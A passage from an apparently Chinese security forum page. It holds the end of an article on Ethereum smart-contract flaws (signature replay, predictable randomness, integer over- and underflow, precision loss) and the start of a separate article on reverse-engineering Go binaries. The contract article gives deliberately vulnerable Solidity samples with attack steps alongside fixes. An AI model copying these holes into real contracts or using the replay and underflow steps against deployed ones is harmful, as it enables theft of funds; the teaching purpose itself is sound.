2.攻击者调用 kill() 函数，把库合约删除，所有的 ether 就被冻结了。
**规避建议**
在涉及到转币操作的合约里，一定要写把币取回的函数，写取币函数可参考：
function withdraw() public {
uint amount = pendingWithdrawals[msg.sender];
// 记住，在发送资金之前将待发金额清零
// 来防止重入（re-entrancy）攻击
pendingWithdrawals[msg.sender] = 0;
msg.sender.transfer(amount);
}
###
**重放漏洞**
**漏洞介绍**
在资产管理体系中，常有委托管理的情况，委托人将资产给受托人管理，委托人支付一定的费用给受托人。这个业务场景在智能合约中也比较普遍。
function transferProxy(address _from, address _to, uint256 _value, uint256 _fee, ui
**transferProxy 方法涉及的角色：**
角色1: 需要转 Token，但自己钱包地址里没有 ETH 的人，即合约中的 _from
角色2: 帮助角色1来转 Token，并支付 ETH 的 gas 费用，即合约中的 msg.sender，也是调用这个合约的人
角色3: Token 接收方，即合约中的 _to
**transferProxy 方法的目的：**
角色1想要转 Token 给角色3，但自己又没有 ETH 来支付手续费，于是角色1找到有 ETH 的角色2说：我给你一些 Token
当做手续费，你来通过调用 transferProxy 来把我的 Token 转给角色3，因为你有 ETH。
**漏洞示例**
function transferProxy(address _from, address _to, uint256 _value, uint256 _fee,
uint8 _v, bytes32 _r, bytes32 _s) public returns (bool){
if(balances[_from] < _fee + _value
|| _fee > _fee + _value) revert();
uint256 nonce = nonces[_from];
bytes32 h = keccak256(_from,_to,_value,_fee,nonce,address(this));
if(_from != ecrecover(h,_v,_r,_s)) revert();
if(balances[_to] + _value < balances[_to]
|| balances[msg.sender] + _fee < balances[msg.sender]) revert();
balances[_to] += _value;
emit Transfer(_from, _to, _value);
balances[msg.sender] += _fee;
emit Transfer(_from, msg.sender, _fee);
balances[_from] -= _value + _fee;
nonces[_from] = nonce + 1;
return true;
}
函数中关键的点是keccak256和ecrecover，即椭圆曲线加密数字签名(ECDSA)函数和验签函数，keccak256等同于sha3。
**如下是签名、验签过程：**
角色1(from)先用sha3函数对
from,to,value,_fee,nonce,address(token)进行处理得到msg值，然后使用web3.eth.sign(address,
msg)得到签名signature；
将signature取前 0~66 个字节作为 r， 66~130 之间的字节作为 s，130~132 的字节作为 v，然后把 v
转为整型，角色1把这些信息告知角色2，角色2调用合约的transferProxy进行转账；
合约内ecrecover接收签名数据的哈希值以及 r/s/v 等参数作为输入，返回实施该签名的账户地址；
校验步骤3中得到的账户地址与 _from 是否匹配；
let msg = web3.sha3(_from,_to,_value,_fee,nonce,address(token))
let signature = web3.eth.sign(_from, msg)
let r = signature.slice(0, 66)
let s = '0x' + signature.slice(66, 130)
let v = '0x' + signature.slice(130, 132)
v = web3.toDecimal(v)
console.log('r', r)
console.log('s', s)
console.log('v', v)
console.log(msg)
角色1、角色2需要事先沟通好nonce、fee，其中nonce在合约中定义，从 0 开始自增，可调用合约的getNonce(address
addr)函数查询。
**攻击示例**
图片来源慢雾科技
由于合约所有的调用数据（函数参数）都在链上公开可查，所以可从 Transaction 中提取所有签名信息。
图片来源慢雾科技
在智能合约重放攻击中，基于椭圆曲线加密数字签名(ECDSA)和验签的逻辑，可利用不同合约中相同的transferProxy实现，把 A 合约
Transaction 中的签名信息提取出来，在 B 合约中进行重放，由于涉及签名的所有参数都是一样的，所以可以直接调用 B 合约并广播到链上。
攻击成功的前提是 _from 账户在两个合约中的 nonce 值是一样的，这样才能保证签名后的 hash 值相同。
**测试工具：**
<https://github.com/nkbai/defcon26/tree/master/trproxy>
此漏洞参考[2]整理。
**规避建议**
nonce 生成算法不采用从 0 开始自增的设计，避免和场景的做法相同；
去除 transferProxy 函数，改成其他方式实现代理的需求。
### **随机数可预测漏洞**
随机数问题也是各区块链平台常见的问题，区别在于各个平台被用作随机源的数据不同。
**漏洞介绍**
以太坊数据块里有一些属性，如：
·block.number (uint): current block number
·block.timestamp (uint): current block timestamp as seconds since unix epoch
·blockhash(uint blockNumber) returns (bytes32): hash of the given block - only
works for 256 most recent, excluding current, blocks
某些合约会使用这些属性作为随机数种子，如使用时间戳作为开奖语句的条件。矿工有能力微调时间戳，使之满足中奖条件而中奖。相似的场景还可以用
block.number 来当作随机源。使用可预测的随机源作为随机数的种子属于危险操作。
**漏洞示例**
contract Roulette {
uint public pastBlockTime; // Forces one bet per block
constructor() public payable {} // initially fund contract
// fallback function used to make a bet
function () public payable {
require(msg.value == 10 ether); // must send 10 ether to play
require(now != pastBlockTime); // only 1 transaction per block
pastBlockTime = now;
if(now % 15 == 0) { // winner
msg.sender.transfer(this.balance);
}
}
}
**攻击步骤**
这份合约表现得像一个简单的彩票。转入 10 ether
有赢得合约余额的机会。这里的假设是，block.timestamp关于最后两位数字是均匀分布的。如果是这样，那么将有1/15的机会赢得这个彩票。但正如我们所知，矿工可以根据需要时间调整。
在这种特殊情况下，如果合约中有足够的ether，解决某个区块的矿工将被激励选择一个模 15 为 0 的 block.timestamp 或
now。这样做他们就会赢得这个合约的余额。
相似的场景还可以用 block.number 来当作随机源。也属于危险操作。
**规避建议**
通行的做法是采用链外off-chain 的第三方服务，比如 Oraclize 来获取随机数）。
<https://solidity-cn.readthedocs.io/zh/develop/security-considerations.html#id3>
**整数溢出漏洞**
数溢出是各类语言的常见问题，Solidity 也不例外。
**漏洞介绍**
整整数溢出是指经过一些运算之后超过该类型所表示的最大值或者最小值，产生溢出。整数常见的运算有 + - * / ，每一种运算都可能产生溢出。
**加法溢出**
以 8 位无符整型为例，8 位无符号整型可表示的范围为 [0, 255]，255 在内存中存储按位存储的形式为（下图左）：
图片来源seebug
如果是 8 位有符整型，其可表示的范围为 [-128, 127]，127 在内存中存储按位存储的形式为（下图左）：
图片来源seebug
在这里因为高位作为了符号位，当 127 加上 1 时，由于进位符号位变为 1（负数），因为符号位已翻转为 1，通过还原此负数值，最终得到的 8 位有符整数为
-128。
**小结：最大值+1会发生反转成最小值**
**减法溢出**
减法溢出的原理和加法溢出类似 uint8 integer 0000 0000 -1 ------> 1111 1111 = 255 （0-1） int8
integer 1000 0000 -1 ------> 0111 1111 = 127 （-128-1）
**小结：最小值-1会发生反转成最大值**
**乘法溢出**
乘法溢出和加法溢出类似，两数相乘之后，超过数值类型所表示的最大值或者最小值，产生溢出。如：
function testMul(int8 m, int8 n) returns (int8){
int8 num = m*n;
return num;
}
在 remix 平台上，验证返回结果是：
输入
{
"int8 m": 100,
"int8 n": 2
}
输出
{
"0": "int8: -56"
}
由于 int8 能表示的最大值是 127，100x2 运算之后的值是 200，超过了 int8 表示的最大值，产生溢出，溢出为 -56。
**除法溢出**
除法运算除了常见的除 0 错误之外，还有可能发生溢出。有符号数的最小值除 -1 导致溢出：
function test() returns (int8) {
int8 i = -128;
return i/int8(-1);
} }
在 remix 平台上，验证返回结果是：
{
"0": "int8: -128"
}
溢出情况分析：-128/-1 = 128 超出 int8 表示的最大值，溢出为 -128。
**漏洞示例**
pragma solidity ^0.4.10;
contract MyToken {
mapping (address => uint) balances;
event balancesAndAmount(uint, uint);
function balanceOf(address _user) returns (uint) { return balances[_user]; }
function deposit() payable { balances[msg.sender] += msg.value; }
function withdraw(uint _amount) {
balancesAndAmount(balances[msg.sender], _amount);
require(balances[msg.sender] - _amount > 0); // 存在整数溢出
msg.sender.transfer(_amount);
balances[msg.sender] -= _amount;
}
}
**攻击步骤**
1.account A 发布合约
2.account A deposit 1 ether 到合约
3.account B 取 1 ether。uint 默认是 u256。因为 account B 账号的余额是 0，balances[msg.sender]
- amount 会发生下溢出，0-1 = 2256-1 > 0，能够满足 require 条件，顺利执行到
msg.sender.transfer(amount); 能够成功获得 1 ether。之后 account B 在合约里的余额也变成 2256 -1。
2^256 =
115,792,089,237,316,195,423,570,985,008,687,907,853,269,984,665,640,564,039,457,584,007,913,129,
639,936 (78 digits)
4.balance of account A 的余额不会变。因为没有操作过 account A 的余额。
思考：那转给 account B 的钱从哪里出的？是不是合约自己背锅？
5.进一步尝试把 amount 的类型改成 int8，执行相同的攻击步骤，依然会发生溢出，且 account B 的 balance 依然按照
uint256 类型反转。
**规避建议**
使用 SafeMath 进行四则运算，或者交与专业团队进行代码审计。
### **浮点数精度**
**漏洞介绍**
solidity 的最新版本是 0.8.1，截止到这个版本，solidity
依然不支持浮点型，也不完全支持定长浮点型。其中定长浮点型在Solidity中可以用来声明变量，但是并不能用来赋值。
在除法运算中，如果无法整除，小数部分会被舍弃。这样，如果在代币的运算中出现运算结果小于1Ether的情况，那么0.XXX就会被约等于0。1.9个代币会被约等于1个，带来一定程度上的精度流失。由于代币的经济属性，精度的流失就相当于资产的流失。
**漏洞示例**
看如下代码片段：
function buyToken() public payable{
uint tokens = msg.value/weiPerEth * tokensPerEth;
balance[msg.sender] += tokens;
}
**攻击步骤**
代码采用了先除后乘的方式，如果 msg.value > weiPerEth，tokens 会为 0，造成买家损失。
**规避建议**
推荐的做法是先做乘法，再做除法。
## **小结**
本文主要关注的是以太坊平台的智能合约面临的安全威胁，同样地，EOS
平台也面临类似的威胁类型，相信这些漏洞梳理可以为读者们带去更深刻的思考和启发，对以太坊平台也有了更进一步的了解，欢迎大家继续关注本系列后续的文章。
## 参考文献
1.<https://www.chainnode.com/post/355956>
2.[https://mp.weixin.qq.com/s?__biz=MzU4ODQ3NTM2OA==&mid=2247483952&idx=1&sn=e09712da8b943b983a847878878b5f70&chksm=fddd7cb7caaaf5a1e3d4d781ee785e25dcef30df5c2c050fd581e4c4d5fb1027c1bbe02961e9&scene=21](https://mp.weixin.qq.com/s?__biz=MzU4ODQ3NTM2OA==&mid=2247483952&idx=1&sn=e09712da8b943b983a847878878b5f70&chksm=fddd7cb7caaaf5a1e3d4d781ee785e25dcef30df5c2c050fd581e4c4d5fb1027c1bbe02961e9&scene=21)
3.<https://paper.seebug.org/633/>
4.<https://paper.seebug.org/632/>
5.<https://eth.wiki/en/howto/smart-contract-safety>
6.<https://consensys.github.io/smart-contract-best-practices/>
7.<https://www.dasp.co/>
8.<https://eprint.iacr.org/2016/1007.pdf>
9.<https://medium.com/cryptronics/ethereum-smart-contract-security-73b0ede73fa8>
10.<https://paper.seebug.org/624/>
11.<https://paper.seebug.org/615/>
12.<https://cloud.tencent.com/developer/article/1171294>
13.<https://paper.seebug.org/685/>
14.<https://www.freebuf.com/vuls/179173.html>
15.<https://www.kingoftheether.com/thrones/kingoftheether/index.html>
16.<https://www.mdeditor.tw/pl/2LVR>
17.<https://paper.seebug.org/607/>
18.<https://medium.com/coinmonks/solidity-tx-origin-attacks-58211ad95514>
19.《区块链安全入门与实战》第3 章. 刘林炫. 北京. 机械工业出版社.
扫码关注蚂蚁安全实验室微信公众号，干货不断！
* * * | 社区文章 |
# 正向角度看Go逆向
Go语言具有开发效率高，运行速度快，跨平台等优点，因此正越来越多的被攻击者所使用，其生成的是可直接运行的二进制文件，因此对它的分析类似于普通C语言可执行文件分析，但是又有所不同，本文将会使用正向与逆向结合的方式描述这些区别与特征。
### 一、语言特性
#### Ⅰ. Compile与Runtime
Go语言类似于C语言，目标是一个二进制文件，逆向的也是native代码，它有如下特性：
1. 强类型检查的编译型语言，接近C但拥有原生的包管理，内建的网络包，协程等使其成为一款开发效率更高的工程级语言。
2. 作为编译型语言它有运行速度快的优点，但是它又能通过内置的运行时符号信息实现反射这种动态特性。
3. 作为一种内存安全的语言，它不仅有内建的垃圾回收，还在编译与运行时提供了大量的安全检查。
可见尽管它像C编译的可执行文件但是拥有更复杂的运行时库，Go通常也是直接将这些库统一打包成一个文件的，即使用静态链接，因此其程序体积较大，且三方库、标准库与用户代码混在一起，需要区分，这可以用类似flirt方法做区分(特别是对于做了混淆的程序)。在分析Go语言编写的二进制程序前，需要弄清楚某一操作是发生在编译期间还是运行期间，能在编译时做的事就在编译时做，这能实现错误前移并提高运行效率等，而为了语言的灵活性引入的某些功能又必须在运行时才能确定，在这时就需要想到运行时它应该怎么做，又需要为它提供哪些数据，例如：
func main() {
s := [...]string{"hello", "world"}
fmt.Printf("%s %s\n", s[0], s[1]) // func Printf(format string, a ...interface{}) (n int, err error)
}
在第二行定义了一个字符串数组，第三行将其输出，编译阶段就能确定元素访问的指令以及下标访问是否越界，于是就可以去除`s`的类型信息。但是由于`Printf`的输入是`interface{}`类型，因此在编译时它无法得知传入的数据实际为什么类型，但是作为一个输出函数，希望传入数字时直接输出，传入数组时遍历输出每个元素，那么在传入参数时，就需要在编译时把实际参数的类型与参数绑定后再传入`Printf`，在运行时它就能根据参数绑定的信息确定是什么类型了。其实在编译时，编译器做的事还很多，从逆向看只需要注意它会将很多操作转换为runtime的内建函数调用，这些函数定义在`cmd/compile/internal/gc/builtin/runtime.go`，并且在`src/runtime`目录下对应文件中实现，例如：
a := "123" + b + "321"
将被转换为concatstring3函数调用：
0x0038 00056 (str.go:4) LEAQ go.string."123"(SB), AX
0x003f 00063 (str.go:4) MOVQ AX, 8(SP)
0x0044 00068 (str.go:4) MOVQ $3, 16(SP)
0x004d 00077 (str.go:4) MOVQ "".b+104(SP), AX
0x0052 00082 (str.go:4) MOVQ "".b+112(SP), CX
0x0057 00087 (str.go:4) MOVQ AX, 24(SP)
0x005c 00092 (str.go:4) MOVQ CX, 32(SP)
0x0061 00097 (str.go:4) LEAQ go.string."321"(SB), AX
0x0068 00104 (str.go:4) MOVQ AX, 40(SP)
0x006d 00109 (str.go:4) MOVQ $3, 48(SP)
0x0076 00118 (str.go:4) PCDATA $1, $1
0x0076 00118 (str.go:4) CALL runtime.concatstring3(SB)
我们将在汇编中看到大量这类函数调用，本文将在对应章节介绍最常见的一些函数。若需要观察某语法最终编译后的汇编代码，除了使用ida等也可以直接使用如下三种方式：
go tool compile -N -l -S once.go
go tool compile -N -l once.go ; go tool objdump -gnu -s Do once.o
go build -gcflags -S once.go
#### Ⅱ. 动态与类型系统
尽管是编译型语言，Go仍然提供了一定的动态能力，这主要表现在接口与反射上，而这些能力离不开类型系统，它需要保留必要的类型定义以及对象和类型之间的关联，这部分内容无法在二进制文件中被去除，否则会影响程序运行，因此在Go逆向时能获取到大量的符号信息，大大简化了逆向的难度，对此类信息已有大量文章介绍并有许多优秀的的工具可供使用，例如[go_parser](https://github.com/0xjiayu/go_parser)与[redress](https://github.com/goretk/redress)，因此本文不再赘述此内容，此处推荐《[Go二进制文件逆向分析从基础到进阶——综述](https://www.anquanke.com/post/id/214940)》。
本文将从语言特性上介绍Go语言编写的二进制文件在汇编下的各种结构，为了表述方便此处定义一些约定：
1. 尽管Go并非面向对象语言，但是本文将Go的类型描述为类，将类型对应的变量描述为类型的实例对象。
2. 本文分析的样例是x64上的样本，通篇会对应该平台叙述，一个机器字认为是64bit。
3. 本文会涉及到Go的参数和汇编层面的参数描述，比如一个复数在Go层面是一个参数，但是它占16字节，在汇编上将会分成两部分传递(不使用xmm时)，就认为汇编层面是两个参数。
4. 一个复杂的实例对象可以分为索引头和数据部分，它们在内存中分散存储，下文提到一种数据所占内存大小是指索引头的大小，因为这部分是逆向关注的点，详见下文字符串结构。
### 二、数据结构
#### Ⅰ. 数值类型
数值类型很简单只需要注意其大小即可：
类型 | 32位平台 | 64位平台
---|---|---
bool、int8、uint8 | 8bit | 8bit
int16、uint16 | 16bit | 16bit
int32、uint32、float32 | 32bit | 32bit
int64、uint64、float64、complex64 | 64bit | 64bit
int、uint、uintptr | 32bit | 64bit
complex128 | 128bit | 1238bit
#### Ⅱ. 字符串string
Go语言中字符串是二进制安全的，它不以`\0`作为终止符，一个字符串对象在内存中分为两部分，一部分为如下结构，占两个机器字用于索引数据：
type StringHeader struct {
Data uintptr // 字符串首地址
Len int // 字符串长度
}
而它的另一部分才存放真正的数据，它的大小由字符串长度决定，在逆向中重点关注的是如上结构，因此说一个string占两个机器字，后文其他结构也按这种约定。例如下图使用`printf`输出一个字符串`"hello
world"`，它会将上述结构入栈，由于没有终止符ida无法正常识别字符串结束因此输出了很多信息，我们需要依靠它的第二个域(此处的长度0x0b)决定它的结束位置：
字符串常见的操作是字符串拼接，若拼接的个数不超过5个会调用`concatstringN`，否则会直接调用`concatstrings`，它们声明如下，可见在多个字符串拼接时参数形式不同：
func concatstring2(*[32]byte, string, string) string
func concatstring3(*[32]byte, string, string, string) string
func concatstring4(*[32]byte, string, string, string, string) string
func concatstring5(*[32]byte, string, string, string, string, string) string
func concatstrings(*[32]byte, []string) string
因此在遇到`concatstringN`时可以跳过第一个参数，随后入栈的参数即为字符串，而遇到`concatstrings`时，跳过第一个参数后汇编层面还剩三个参数，其中后两个一般相同且指明字符串个数，第一个参数则指明字符串数组的首地址，另外经常出现的是string与[]byte之间的转换，详见下文slice部分。提醒一下，可能是优化导致一般来说在栈内一个纯字符串的两部分在物理上并没有连续存放，例如下图调用`macaron`的`context.Query("username")`获取到的应该是一个代表`username`的字符串，但是它们并没有被连续存放：
因此ida中通过定义本地结构体去解析string会遇到困难，其他结构也存在这类情况，气。
#### Ⅲ. 数组array
类似C把字符串看作char数组，Go类比知array和string的结构类似，其真实数据也是在内存里连续存放，而使用如下结构索引数据，对数组里的元素访问其地址偏移在编译时就能确定，总之逆向角度看它也是占两个机器字：
type arrayHeader struct {
Data uintptr
Len int
}
数组有三种存储位置，当数组内元素较少时可以直接存于栈上，较多时存于数据区，而当数据会被返回时会存于堆上。如下定义了三个局部变量，但是它们将在底层表现出不同的形态：
func ArrDemo() *[3]int {
a := [...]int{1, 2, 3}
b := [...]int{1, 2, 3, 4, 5, 6, 7, 8, 9, 1, 2, 3, 4, 5, 6, 7, 8, 9, 1, 2, 3, 4, 5, 6, 7}
c := [...]int{1, 2, 3}
if len(a) < len(b) {return &c}
return nil
}
**变量a** 的汇编如下，它直接在栈上定义并初始化：
**变量b** 的汇编如下，它的初始值被定义在了数据段并进行拷贝初始化：
事实上更常见的拷贝操作会被定义为如下这类函数，因此若符号信息完整遇到无法识别出的函数一般也就是数据拷贝函数：
**变量c**
的汇编如下，尽管它和a的值一样，但是它的地址会被返回，如果在C语言中这种写法会造成严重的后果，不过Go作为内存安全的语言在编译时就识别出了该问题(指针逃逸)并将其放在了堆上，此处引出了`runtime.newobject`函数，该函数传入的是数据的类型指针，它将在堆上申请空间存放对象实例，返回的是新的对象指针：
> 经常会遇到的情况是返回一个结构体变量，然后将其赋值给newobject申请的新变量上
#### Ⅳ. 切片slice
类似数组，切片的实例对象数据结构如下，可知它占用了三个机器字，与它相关的函数是`growslice`表示扩容，逆向时可忽略：
type SliceHeader struct {
Data uintptr // 数据指针
Len int // 当前长度
Cap int // 可容纳的长度
}
更常见的函数是与字符串相关的转换，它们在底层调用的是如下函数，此处我们依然不必关注第一个参数：
func slicebytetostring(buf *[32]byte, ptr *byte, n int) string
func stringtoslicebyte(*[32]byte, string) []byte
例如下图：
可见传入的是两个参数代表一个string，返回了三个数据代表一个[]byte。
#### Ⅴ. 字典map
字典实现比较复杂，不过在逆向中会涉及到的内容很简单，字典操作常见的会转换为如下函数，一般`fastrand`和`makemap`连用返回一个map，它为一个指针，读字典时使用`mapaccess1`和`mapaccess2`，后者是使用`,ok`语法时生成的函数，runtime里还有很多以2结尾的函数代表同样的含义，后文不再赘述。写字典时会使用`mapassign`函数，它返回一个地址，将value写入该地址，另外还比较常见的是对字典进行遍历，会使用`mapiterinit`和`mapiternext`配合：
func fastrand() uint32
func makemap(mapType *byte, hint int, mapbuf *any) (hmap map[any]any)
func mapaccess1(mapType *byte, hmap map[any]any, key *any) (val *any)
func mapaccess2(mapType *byte, hmap map[any]any, key *any) (val *any, pres bool)
func mapassign(mapType *byte, hmap map[any]any, key *any) (val *any)
func mapiterinit(mapType *byte, hmap map[any]any, hiter *any)
func mapiternext(hiter *any)
事实上更常见的是上面这些函数的同类函数，它们的后缀代表了对特定类型的优化，例如如下代码，它首先调用`makemap_small`创建了一个小字典并将其指针存于栈上，之后调用`mapassign_faststr`传入一个字符串键并获取一个槽，之后将数据写入返回的槽地址里，这里就是一个创建字典并赋值的过程：
如下是访问字典里数据的情况，调用`mapaccess1_fast32`传入了一个32位的数字作为键：
可以看到`mapaccess`和`mapassign`的第一个参数代表字典的类型，因此能很容易知道字典操作参数和返回值的类型。
#### Ⅵ. 结构体struct
类似于C语言，Go的结构体也是由其他类型组成的复合结构，它里面域的顺序也是定义的顺序，里面的数据对齐规则和C一致不过我们可以直接从其类型信息获得，不必自己算。在分析结构体变量时必须要了解结构体的类型结构了，其定义如下：
type rtype struct {
size uintptr // 该类型对象实例的大小
ptrdata uintptr // number of bytes in the type that can contain pointers
hash uint32 // hash of type; avoids computation in hash tables
tflag tflag // extra type information flags
align uint8 // alignment of variable with this type
fieldAlign uint8 // alignment of struct field with this type
kind uint8 // enumeration for C
alg *typeAlg // algorithm table
gcdata *byte // garbage collection data
str nameOff // 名称
ptrToThis typeOff // 指向该类型的指针，如该类为Person，代码中使用到*Person时，后者也是一种新的类型，它是指针但是所指对象属于Person类，后者的类型位置存于此处
}
type structField struct {
name name // 属性名称
typ *rtype // 该域的类型
offsetEmbed uintptr // 该属性在对象中的偏移左移一位后与是否是嵌入类型的或，即offsetEmbed>>1得到该属性在对象中的偏移
}
type structType struct {
rtype
pkgPath name // 包名
fields []structField // 域数组
}
type uncommonType struct {
pkgPath nameOff // 包路径
mcount uint16 // 方法数
xcount uint16 // 导出的方法数
moff uint32 // 方法数组的偏移，方法表也是有需的，先导出方法后私有方法，而其内部按名称字符串排序
_ uint32 // unused
}
type structTypeUncommon struct {
structType
u uncommonType
}
如下为`macaron`的`Context`结构体的类型信息，可见它的实例对象占了0x90字节，这实际上会和下面fields中对象所占空间对应：
通过`macaron_Context_struct_fields`可转到每个域的定义，可见其域名称域类型，偏移等：
结构体类型作为自定义类型除了域之外，方法也很重要，这部分在后文会提到。
#### Ⅶ. 接口 interface
接口和反射息息相关，接口对象会包含实例对象类型信息与数据信息。这里需要分清几个概念，一般我们是定义一种接口类型，再定义一种数据类型，并且在这种数据类型上实现一些方法，Go使用了类似鸭子类型，只要定义的数据类型实现了某个接口定义的
**全部**
方法则认为实现了该接口。前面提到的两个是类型，在程序运行过程中对应的是类型的实例对象，一般是将实例对象赋值给某接口，这可以发生在两个阶段，此处主要关注运行时阶段，这里在汇编上会看到如下函数：
// Type to empty-interface conversion.
func convT2E(typ *byte, elem *any) (ret any)
// Type to non-empty-interface conversion.
func convT2I(tab *byte, elem *any) (ret any)
如上转换后的结果就是接口类型的实例对象，此处先看第二个函数，它生成的对象数据结构如下，其中`itab`结构体包含接口类型，转换为接口前的实例对象的类型，以及接口的函数表等，而`word`是指向原对象数据的指针，逆向时主要关注`word`字段和`itab`的`fun`字段，`fun`字段是函数指针数组，它里元素的顺序并非接口内定义的顺序，而是名称字符串排序，因此对照源码分析时需要先排序才能根据偏移确定实际调用的函数：
type nonEmptyInterface struct {
// see ../runtime/iface.c:/Itab
itab *struct {
ityp *rtype // 代表的接口的类型，静态static interface type
typ *rtype // 对象实例真实的类型，运行时确定dynamic concrete type
link unsafe.Pointer
bad int32
unused int32
fun [100000]unsafe.Pointer // 方法表，具体大小由接口定义确定
}
word unsafe.Pointer
}
这是旧版Go的实现，在较新的版本中此结构定义如下，在新版中它的起始位置偏移是`0x18`，因此我们可以直接通过调用偏移减`0x18`除以`8`获取调用的是第几个方法：
type nonEmptyInterface struct {
// see ../runtime/iface.go:/Itab
itab *struct {
ityp *rtype // static interface type
typ *rtype // dynamic concrete type
hash uint32 // copy of typ.hash
_ [4]byte
fun [100000]unsafe.Pointer // method table
}
word unsafe.Pointer
}
上面讲的是第二个函数的作用，解释第一个函数需要引入一种特殊的接口，即空接口，由于这种接口未定义任何方法，那么可以认为所有对象都实现了该接口，因此它可以作为所有对象的容器，在底层它和其他接口也拥有不同的数据结构，空接口的对象数据结构如下：
// emptyInterface is the header for an interface{} value.
type emptyInterface struct {
typ *rtype // 对象实例真实的类型指针
word unsafe.Pointer // 对象实例的数据指针
}
可见空接口两个域刚好指明原始对象的类型和数据域，而且所有接口对象是占用两个个机器字，另外常见的接口函数如下：
// Non-empty-interface to non-empty-interface conversion.
func convI2I(typ *byte, elem any) (ret any)
// interface type assertions x.(T)
func assertE2I(typ *byte, iface any) (ret any)
func assertI2I(typ *byte, iface any) (ret any)
例如存在如下汇编代码：
可以知道`convI2I`的结果是第一行所指定接口类型对应的接口对象，在最后一行它调用了`itab+30h`处的函数，根据计算可知是字母序后的第 **4**
个函数，这里可以直接查看接口的类型定义，获知第四个函数：
### 三、语法特性
#### Ⅰ. 新建对象
Go不是面向对象的，此处将Go的变量当做对象来描述。函数调用栈作为一种结构简单的数据结构可以轻易高效的管理局部变量并实现垃圾回收，因此新建对象也优先使用指令在栈上分配空间，当指针需要逃逸或者动态创建时会在堆区创建对象，这里涉及`make`和`new`两个关键词，不过在汇编层面它们分别对应着`makechan`，`makemap`，`makeslice`与`newobject`，由于本文没有介绍channel故不提它，剩下的makemap和newobject上文已经提了，还剩makeslice，它的定义如下：
func makeslice(et *_type, len, cap int) unsafe.Pointer
如下，调用`make([]uint8, 5,10)`创建一个slice后，会生成此代码：
#### Ⅱ. 函数与方法
##### 1\. 栈空间
栈可以分为两个区域，在栈底部存放局部变量，栈顶部做函数调用相关的参数与返回值传递，因此在分析时不能对顶部的var命名，因为它不特指某具体变量而是随时在变化的，错误的命名容易造成混淆，如下图，0xE60距0xEC0足够远，因此此处很大概率是局部变量可重命名，而0xEB8距栈顶很近，很大概率是用于传参的，不要重命名：
##### 2\. 变参
类似Python的一般变参实际被转换为一个tuple，Go变参也被转换为了一个slice，因此一个变参在汇编级别占3个参数位，如下代码：
func VarArgDemo(args ...int) (sum int) {}
func main() {
VarArgDemo(1, 2, 3)
}
它会被编译为如下形式：
这里先将1,2,3保存到`rsp+80h+var_30`开始的位置，然后将其首地址，长度(3)，容量(3)放到栈上，之后调用VarArgDeme函数。
##### 3\. 匿名函数
匿名函数通常会以`外部函数名_funcX`来命名，除此之外和普通函数没什么不同，只是需要注意若使用了外部变量，即形成闭包时，这些变量会以引用形式传入，如在`os/exec/exec.go`中如下代码：
go func() {
select {
case <-c.ctx.Done():
c.Process.Kill()
case <-c.waitDone:
}
}()
其中c是外部变量，它在调用时会以参数形式传入(newproc请见后文协程部分)：
而在`io/pipe.go`中的如下代码：
func (p *pipe) CloseRead(err error) error {
if err == nil {
err = ErrClosedPipe
}
p.rerr.Store(err)
p.once.Do(func() { close(p.done) })
return nil
}
其中p是外部变量，它在调用时是将其存入外部寄存器(rdx)传入的：
可见在使用到外部变量时它们会作为引用被传入并使用。
##### 4\. 方法
Go可以为任意自定义类型绑定方法，方法将会被转换为普通函数，并且将方法的接收者转化为第一个参数，再看看上文结构体处的图：
如上可见Context含44个导出方法，3个未导出方法，位置已经被计算出在`0xcdbaa8`，因此可转到方法定义数组：
如上可见，首先是可导出方法，它们按照名称升序排序，之后是未导出方法，它们也是按名称升序排序，另外导出方法有完整的函数签名，而未导出方法只有函数名称。在逆向时不必关心这一部分结构，解析工具会自动将对应的函数调用重命名，此处仅了解即可。
在逆向时工具会将其解析为`类型名__方法名`或`类型名_方法名`，因此遇到此类名称时我们需要注意它的第一个参数是隐含参数，类似C++的this指针，但Go的方法定义不仅支持传引用，也支持传值，因此第一个参数可能在汇编层面不只占一个机器字，如：
type Person struct {
name string
age int
weight uint16
height uint16
}
func (p Person) Print() {
fmt.Printf("%t\n", p)
}
func (p *Person) PPrint() {
fmt.Printf("%t\n", p)
}
func main(){
lihua := Person{
name: "lihua",
age: 18,
weight: 60,
height: 160,
}
lihua.Print()
lihua.PPrint()
}
编译后如下所示：
根据定义两个方法都没有参数，但是从汇编看它们都有参数，如注释，在逆向时是更常见的是像`PPrint`这种方法，即第一个参数是对象的指针。
##### 5\. 函数反射
函数在普通使用和反射使用时，被保存的信息不相同，普通使用不需要保存函数签名，而反射会保存，更利于分析，如下代码：
//go:noinline
func Func1(b string, a int) bool {
return a < len(b)
}
//go:noinline
func Func2(a int, b string) bool {
return a < len(b)
}
func main(){
fmt.Println(Func1("233", 2))
v := reflect.ValueOf(Func2)
fmt.Println(v.Kind()==reflect.Func)
}
编译后通过字符串搜索，可定位到被反射的函数签名（当然在逆向中并不知道应该搜什么，而是在函数周围寻找签名）：
而普通函数的签名无法被搜到：
#### Ⅲ. 伸缩栈
由于go可以拥有大量的协程，若使用固定大小的栈将会造成内存空间浪费，因此它使用伸缩栈，初始时一个普通协程只分配几KB的栈，并在函数执行前先判断栈空间是否足够，若不够则通过一些方式扩展栈，这在汇编上的表现形式如下：
在调用`runtime·morestack*`函数扩展栈后会重新进入函数并进入左侧分支，因此在分析时直接忽略右侧分支即可。
#### Ⅳ. 调用约定
Go统一通过栈传递参数和返回值，这些空间由调用者维护，返回值内存会在调用前选择性的被初始化，而参数传递是从左到右顺序，在内存中从下到上写入栈，因此看到`mov
[rsp + 0xXX + var_XX], reg`(栈顶)时就代表开始为函数调用准备参数了，继续向下就能确定函数的参数个数及内容：
如图，`mov [rsp+108h+v_108],
rdx`即表示开始向栈上传第一个参数了，从此处到`call`指令前都是传参，此处可见在汇编层面传了3个参数，其中第2个和第3个参数为Go语言里的第二个参数，`call`指令之后为返回值，不过可能存在返回值未使用的情况，因此返回值的个数和含义需要从函数内部分析，比如此处的`Query`我们已知arg_0/arg_8/arg_10为参数，那么剩下的arg18/arg20即为返回值：
>
> 需要注意的是不能仅靠函数头部就断定参数个数，例如当参数为一个结构体时，可能头部的argX只代表了其首位的地址，因此需要具体分析函数retn指令前的指令来确定返回值大小。
#### Ⅴ. 写屏障
Go拥有垃圾回收，其三色标记法使用了写屏障的方法保证一致性，在垃圾收集过程中会将写屏障标志置位，此时会进入另一条逻辑，但是我们在逆向分析过程中可以认为该位未置位而直接分析无保护的情况：
如上图，先判断标志，再决定是否进入，在分析时可以直接认为其永假并走左侧分支。
#### Ⅵ. 协程 go
